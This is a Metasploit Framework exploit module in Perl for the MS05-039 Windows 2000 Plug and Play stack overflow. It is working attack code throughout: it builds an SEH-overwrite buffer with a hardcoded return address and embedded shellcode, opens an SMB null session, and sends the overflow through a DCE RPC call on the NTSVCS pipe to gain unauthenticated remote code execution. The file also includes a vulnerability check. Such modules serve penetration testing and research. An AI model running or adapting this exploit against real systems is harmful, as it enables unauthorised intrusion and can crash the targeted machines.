Microsoft Windows Plug and Play Remote Buffer Overflow Exploit (MS05-039)
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ms05_039_pnp;
use base "Msf::Exploit";
use strict;
use Pex::DCERPC;
use Pex::x86;
my $advanced =
{
'FragSize' => [1024, 'The application fragment size to use with DCE RPC'],
'DirectSMB' => [0, 'Use the direct SMB protocol (445/tcp) instead of SMB over NetBIOS'],
};
my $info =
{
'Name' => 'Microsoft PnP MS05-039 Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 139],
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => '',
'Keys' => ['-ws2ord'], # no winsock in services.exe
'MaxNops' => 0,
'MinNops' => 0,
},
'DefaultTarget' => -1,
'Targets' =>
[
[ 'Windows 2000 SP0-SP4', 0x767a38f6 ] # umpnpmgr.dll
],
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Windows
Plug and Play service. This vulnerability can be exploited on Windows
2000 without a valid user account. Since the PnP service runs inside
the service.exe process, a failed exploit attempt will cause the system
to automatically reboot.
}),
'Refs' =>
[
['OSVDB', '18605'],
['CVE', '2005-1983'],
['BID', '14513'],
['MSB', 'MS05-039'],
],
'Keys' => ['pnp'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $fragSize = $self->GetVar('FragSize') || 1024;
if ( $self->ProbePNP($target_host, $target_port, $fragSize, 'A' )) {
$self->PrintLine("[*] This system appears to be vulnerable");
return $self->CheckCode('Appears');
}
$self->PrintLine("[*] This system does not appear to be vulnerable");
return $self->CheckCode('Unknown');
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $fragSize = $self->GetVar('FragSize') || 1024;
my $target_idx = $self->GetVar('TARGET');
my $target = $self->Targets->[$target_idx];
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $return = pack('V', $target->[1]);
my $request =
# Get to seh next ptr
RandomData(0x38) .
# SEH Next / jmp to shellcode
Pex::x86::JmpShort('$+32') . RandomData(2) .
# SEH Handler
$return .
RandomData(20) .
# ResourceName - cause access violation on RtlInitUnicodeString
RandomData(3) . "\xff" .
# shellcode!
$shellcode;
$self->ProbePNP($target_host, $target_port, $fragSize, $request);
return;
}
sub ProbePNP {
my $self = shift;
my $target_host = shift;
my $target_port = shift;
my $fragSize = shift;
my $request = shift;
my $target_name = '*SMBSERVER';
my $cs_des =
# CS_DES
# CSD_SignatureLength, CSD_LegacyDataOffset, CSD_LegacyDataSize, CSD_Flags
# GUID and then the dataz
pack('VVVV', 0, 0, length($request), 0) . RandomData(16) . $request;
# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
my $stub =
# ResourceName:
# our device name, good enough to pass IsLegalDeviceId and IsRootDeviceID
NdrUnicodeConformantVaryingString('a\\b\\c') .
# ResourceID:
# 0xffff - ResType_ClassSpecific
NdrLong(0xffff) .
# ResourceData
# our CS_DES structure
NdrUniConformantArray($cs_des) .
# ResourceLen (I'm guessing the server double checks this?)
NdrLong(length($cs_des)) .
# OutputLen
# Need to be atleast 4...
NdrLong(4) .
# Flags
# unused? something said it must be zero?...
NdrLong(0);
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}
my $x = Pex::SMB->new({ 'Socket' => $s });
if ($target_port != 445 && ! $self->GetVar('DirectSMB')) {
$x->SMBSessionRequest($target_name);
if ($x->Error) {
$self->PrintLine("[*] Session request failed for $target_name");
return;
}
}
$x->Encrypted(1);
$x->SMBNegotiate();
$x->SMBSessionSetup();
if ($x->Error) {
$self->PrintLine("[*] Failed to establish a null session");
return;
}
$target_name = $x->DefaultNBName;
# Left in OS detection, might be useful for exploitation..
if ($x->PeerNativeOS eq 'Windows 5.0') {
$self->PrintLine("[*] Detected a Windows 2000 target ($target_name)");
} else {
$self->PrintLine("[*] No target available for ".$x->PeerNativeOS." ($target_name)");
return;
}
$x->SMBTConnect("\\\\".$target_name."\\IPC\$");
if ($x->Error) {
$self->PrintLine("[*] Failed to connect to the IPC share");
return;
}
my ($bind, $ctx) = Pex::DCERPC::BindFakeMulti(
Pex::DCERPC::UUID_to_Bin('8d9f4e40-a03d-11ce-8f69-08003e30051b'),
'1.0'
);
# PNP_QueryResConfList what what
my (@DCE) = Pex::DCERPC::Request(0x36, $stub, $fragSize, $ctx);
$x->SMBCreate('\\browser');
if ($x->Error) {
$self->PrintLine("[*] Failed to create pipe to NTSVCS");
return;
}
$x->SMBTransNP($x->LastFileID, $bind);
if ($x->Error) {
$self->PrintLine("[*] Failed to bind to NTSVCS over DCE RPC: ".$x->Error);
return;
}
if (scalar(@DCE) > 1) {
my $offset = 0;
$self->PrintLine("[*] Sending ".(scalar(@DCE)-1)." DCE request fragments...");
while (scalar(@DCE != 1)) {
my $chunk = shift(@DCE);
$x->SMBWrite($x->LastFileID, $offset, $chunk);
$offset += length($chunk);
}
}
$self->PrintLine("[*] Sending the final DCE fragment");
my $res = $x->SMBTransNP($x->LastFileID, $DCE[0]);
if ($res && $res->Get('data_bytes')) {
my $dce = Pex::DCERPC::DecodeResponse($res->Get('data_bytes'));
if ($dce->{'StubData'} eq "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") {
return 1;
}
}
return;
}
sub RandomData {
my $length = shift;
my $data = '';
while($length--) {
$data .= chr(int(rand(256)));
}
return($data);
}
sub Unicode {
my $str = shift;
my $unicode = '';
foreach my $char (split('', $str)) {
$unicode .= $char . "\x00";
}
return($unicode);
}
sub DwordAlign {
my $length = shift;
return RandomData((4 - ($length & 3)) & 3);
}
sub NdrLong {
my $val = shift;
return pack('V', $val);
}
sub NdrUnicodeConformantVaryingString {
my $str = shift;
# ndr conformant varying string
# count includes null terminator
# maximum count - offset - actual count
my $data = pack('VVV', length($str)+1, 0, length($str)+1);
$data .= Unicode($str . "\x00");
$data .= DwordAlign(length($data));
return($data);
}
sub NdrUniConformantArray {
my $bytes = shift;
my $len = @_ ? shift : length($bytes);
# ndr uni-demensional conformant array
# actual count
my $data = pack('V', $len);
$data .= $bytes;
$data .= DwordAlign(length($data));
return($data);
}
1;